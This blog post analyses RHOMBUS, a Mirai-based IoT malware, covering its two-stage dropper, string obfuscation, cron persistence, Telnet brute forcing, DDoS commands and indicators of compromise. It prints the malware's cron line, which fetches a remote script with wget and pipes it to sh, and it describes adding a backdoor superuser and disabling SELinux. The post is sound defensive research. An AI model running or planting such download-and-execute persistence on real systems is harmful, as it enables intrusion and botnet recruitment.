RHOMBUS: a new IoT malware

By on 22 May 2020

Category: Tech matters

Tags: , , ,

Blog home

On 27 February 2020, MalwareMustDie (MMD), a workgroup focused on the research and study of Linux malware, analysed and shared a new type of malware they called RHOMBUS. This malware was compiled for different architectures, had persistence mechanisms and dropped a second-stage payload.

In this blog post, let’s analyze this new malware to explore its capabilities and behaviour.

MalwareMustDie tweet
Figure 1 — Twitter post of MalwareMustDie’s findings, sharing samples, and command-and-control information.

At first sight

The sample used in this post is a x86-64 ELF binary, originally shared by MMD and founded by R Bansal (@0xrb). At the time this post was written, this sample has a 4/59 detection rate (4 out of 59 anti-viruses (AVs) detected this file as malicious) according to VirusTotal.

The binary was stripped from all symbols and, although it has a fair amount of static strings, shows no plain-text that could be related to the type of malware or Command and Control (C&C) endpoint. Something interesting about this sample is the fact that the binary is an ELF shared object rather than the usual executable and it looks like the binary consists of two ELF files concatenated:

0          0x0              ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
8407       0x20D7           ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

This could indicate that the first portion of the binary is the dropper or stage #1 and the second portion at offset 0x20d7 is the dropped binary or stage #2.

To remove any doubts let’s analyse the executable, being the first portion of this binary, and find the way it drops this stage #2.

Main function

The main function, located at offset 0xef0, starts by calling a function I’ve renamed as obfuscate_str passing an already obfuscated string. This means that this function is going to toggle the obfuscation of said string. After that, it opens the string returned by that obfuscation function and calls lseek to seek the offset 0x20d7; a great indicator that it is seeking for the second portion.

Let’s stop and go back a little bit: What file is opening? To figure this out, the string obfuscation process has to be analysed and the string being passed needs to be deobfuscated (Figure 2).

String obfuscation function flow graph
Figure 2 — String obfuscation function flow graph. The bold green arrows indicate that a character by character obfuscation is being performed.

In brief, the obfuscation method is performed by mutating the original characters against a modified characters list (Figure 3). Take this simplified pseudocode as a way to explain this methodology:

 original_array = ["a","b","c", ...]
 mutated_array = ["X","-","0", ...]

 foreach character in obfuscated_string:
 for (position = 0; position < 87; position + 1):
        if character == mutated_array[position]:
               original_string += original_array[position]

 return original_string
Figure 3 — The upper array is the mutated characters list. The lower array is the original one. Both are used to transform the original string to obfuscate it.

After deobfuscating the string passed to the open function, I can see that the malware opens /proc/self/exe. This file is the actual malware sample being executed so it is opening itself and seeking for the second portion.

To drop this second portion into the filesystem it will create a temporary file in /tmp with the filename fileXXXXXX where XXXXXX are random characters. Then it will write the content into that temporary file and execute it (Figure 4).

Figure 4 — Malware creates a temporary file with the stage #2.

After this, stage #2 is executed then the temp file is removed for it to remain only in memory.

Figure 5 — Execution flow of stage #2 execution and temporary file deletion.

Dropper persistence

The method chosen by this malware, and this dropper specifically, to keep its persistence is to modify the crontab to add a shell script that will be executed hourly. Cron is a system service used to execute scheduled tasks. These tasks can be run every N amount of seconds, minutes, hours and so on. This type of technique to achieve persistence is common among Internet of Things (IoT) and Linux malware.

The shell script dropped by the malware is:

wget --quiet http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

What this will do is download a new shell script from cf0.pw (now defunct), which will be executed. This is a list of actions taken by this last shell script:

  1. Disable SELinux.
  2. Add user sudev as a superuser.
    • Password is already encrypted via crypt using MD5.
  3. Remove files from previous infections.
  4. Send a GET request to http://cf0.pw/log/ to log victim’s IP address.
  5. Reinstall cron scripts and wget/curl (if were not installed previously).

By using this script, the malware makes sure to persist in the system and also creates a backdoor for the botmaster to access the system using the logged IP address. Read more about this host and similar scripts here and here.

Stage #2 

We have already seen and analysed the dropper actions and capabilities. Now it’s time for the dropped file to be analysed and studied.

The stage #2 is also a 64-bit ELF executable, statically linked and stripped. At first glance, this binary seems to be a modified version of the Mirai codebase. The data obfuscation function is the same with the exception of the key being changed to 0xDEDDEFFB.

Following the steps of Mirai, this malware started attacking random IP addresses across the Internet looking for Telnet services with weak credentials. Instead of performing the three-way handshake (done in a normal TCP connection), it sends TCP SYN packets to the victim and waits for a TCP SYN + ACK packet, which would be the response from an open and available port. If the TCP SYN + ACK packet is received then it will establish a connection to brute force the service. The malware applies this technique to save time and speed up the scanning process (Figure 6).

Malware attempts to verify open Telnet ports on randomly generated IP addresses across the Internet
Figure 6 — Malware attempts to verify open Telnet ports on randomly generated IP addresses across the Internet. Grey rows are SYN packets and black are TCP out-of-order or retransmission SYN packets.

During this Telnet scanning and brute-forcing process, the malware sent 1,418,630 TCP SYN packets to port 23/TCP on different public IP addresses. It successfully connected over Telnet to 52 unique IPs transferring 101 KB of data.

Also, it attempts to establish communication to a specific IP and port: on port 2020/TCP. This connection is used by the malware for reporting and C&C. If the malware is able to connect to that host, after starting, it will send the string jm:_:1 (or jm:STRING:1 if the malware was executed with a command-line argument) to confirm that the bot started while printing IVEBEENEXECUTED to the screen console. Then it will start reading commands from the C&C.

Reporting or C&C server hard-coded into the stage #2 binary.
Figure 7 — Reporting or C&C server hard-coded into the stage #2 binary.

For some reason, the malware will also open the port 25905/TCP listening locally or to the IP address being used by the device.

The bot accepts a series of commands:

  • UDP: UDP flooding.
  • TCP: TCP flooding.
  • GRE: Generic Routing Encapsulation flood.
  • THREADHTTP: HTTP request flood.
  • KT: Kill thread.
  • UPDATE: Update bot.

If the UPDATE command is received the bot will connect to an alternative port, 4634/TCP, and download a new version from the C&C. This new dropped file named EgrsFc is going to be executed and the process in charge of this action will be killed, as described in Figure 8.

Updating procedure. A different port but same C&C IP address is used during this process.
Figure 8 — Updating procedure. A different port but the same C&C IP address is used during this process.

Another instance of Mirai’s malleability 

Malware families of this kind, using the Mirai codebase, are normal in the IoT ecosystem nowadays. Authors use the capabilities and easy-to-modify philosophy of Mirai to adapt it to the needs of DDoS attacks and botnets.

In the case of RHOMBUS, this codebase was adapted along with new methodologies to persist and drop different stages and updates, while also backdooring the instance.

The indicators of compromise discussed in this article are:

  • Superuser sudev created with a hardcoded password.
  • SELinux enforcing is set to permissive.
  • Cron scripts created:
    • /etc/cron.hourly/0
    • /etc/cron.daily/0
    • /etc/cron.weekly/0
    • /etc/cron.monthly/0
  • Port 25905/TCP is listening locally.

Additional info can be found in the analysis done by MalwareMustDie via Reddit.

Adapted from original post which appeared on Strospere Lab Blog.

Lisandro Ubiedo is a malware researcher and reverse engineer working for the Aposemat Project, at Stratosphere Labs.

Rate this article

The views expressed by the authors of this blog are their own and do not necessarily reflect the views of APNIC. Please note a Code of Conduct applies to this blog.

Leave a Reply

Your email address will not be published. Required fields are marked *